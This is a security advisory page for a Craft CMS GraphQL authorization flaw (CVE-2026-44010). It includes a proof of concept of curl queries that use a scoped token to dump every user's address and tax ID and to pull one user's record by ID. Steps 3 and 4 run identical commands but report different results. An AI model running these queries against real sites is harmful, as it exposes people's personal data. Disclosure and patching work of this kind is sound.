# CVE-2026-44010: cms — Fixed in 5.9.18 🐘 Packagist Not in CISA KEV # CVE-2026-44010 — cms [Fix: craftcms/cms@834b2cf](https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128) CVE-2026-44010 is a CWE-862 vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below. Craft CMS: Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure Also known as[GHSA-gj2p-p9m4-c8gw](/vulnerability/GHSA-gj2p-p9m4-c8gw) Published May 12, 2026 Updated Oct 28, 2026 Affected 2 pkgs Patched 2 / 2 Exploits None indexed Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44010. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.4%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk 0.00%0.30%0.61%0.91%0.0%0.4%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## Real-World Exposure 2 pkgs affected 🐘`craftcms/cms`🐘`craftcms/cms` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems. ## Description #### Summary The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. #### Details Every GraphQL element resolver in Craft CMS applies schema scope filtering via `GqlHelper::extractAllowedEntitiesFromSchema()` when handling top-level queries, except the Address resolver. The only gate check for addresses is `canQueryUsers()` (`src/gql/queries/Address.php`, line 30), which is a binary check. It returns `true` if the token has access to _any_ user group. Once past this gate, no further filtering is applied. #### PoC **Tested on:** CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) **Prerequisites:** A GraphQL API token with read access to any single user group #### Environment - Two user groups: `publicUsers` (in token scope) and `internalTeam` (NOT in scope) - 5 internal executives with corporate addresses (internalTeam) - 3 public customers with personal addresses (publicUsers) - GQL token scoped to `publicUsers:read` only **Step 1:** Introspect the schema to discover the `addresses` query is available to this token. Issue the below curl command ``` curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq ``` image The token can see `addresses`, `entries`, `users` as top-level queries. **Step 2:** Enumerate Address fields to identify PII exposure surface. ``` curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq ``` image > Exposed fields include: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organization`, `organizationTaxId`, `latitude`, `longitude`. **Step 3:** Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the `publicUsers` group. ``` curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` image Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible. **Step 4:** Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope. ``` curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` image image ▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs > **All 10 addresses returned.** The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057) * * * **Step 5:** Targeted IDOR - extract a specific internal user’s address by owner ID. ``` curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` image > Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data. ### Impact #### Who is Impacted Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions. #### Risk - Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups. - Targeted extraction via IDOR: The `ownerId` argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access. - Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue. - Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case. ### AI Disclosure This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting. All findings were verified against a local Docker instance of Craft CMS 5.9.17. ### Resources [https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128](https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128) ## Affected Packages 2 total 2 fixed Ecosystem Package Vulnerable range Fix 🐘Packagist `craftcms/cms` ≥ 5.0.0&&< 5.9.18 5.9.18`composer require craftcms/cms:^5.9.18` 🐘Packagist `craftcms/cms` ≥ 4.0.0&&< 4.17.12 4.17.12`composer require craftcms/cms:^4.17.12` ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update craftcms/cms to 5.9.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44010 is resolved across your whole dependency graph. 3. ### Workarounds Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used. ## Frequently Asked Questions \### Summary The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. ### Details Every GraphQL element resolver in Craft CMS applies schema scope filtering via \`GqlHelper::extractAllowedEntitiesFromSchema()\` when handling top-level queries, excep O3 Security · Impact-Aware SCA ### Is CVE-2026-44010 in your dependencies? Find it across Packagist, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)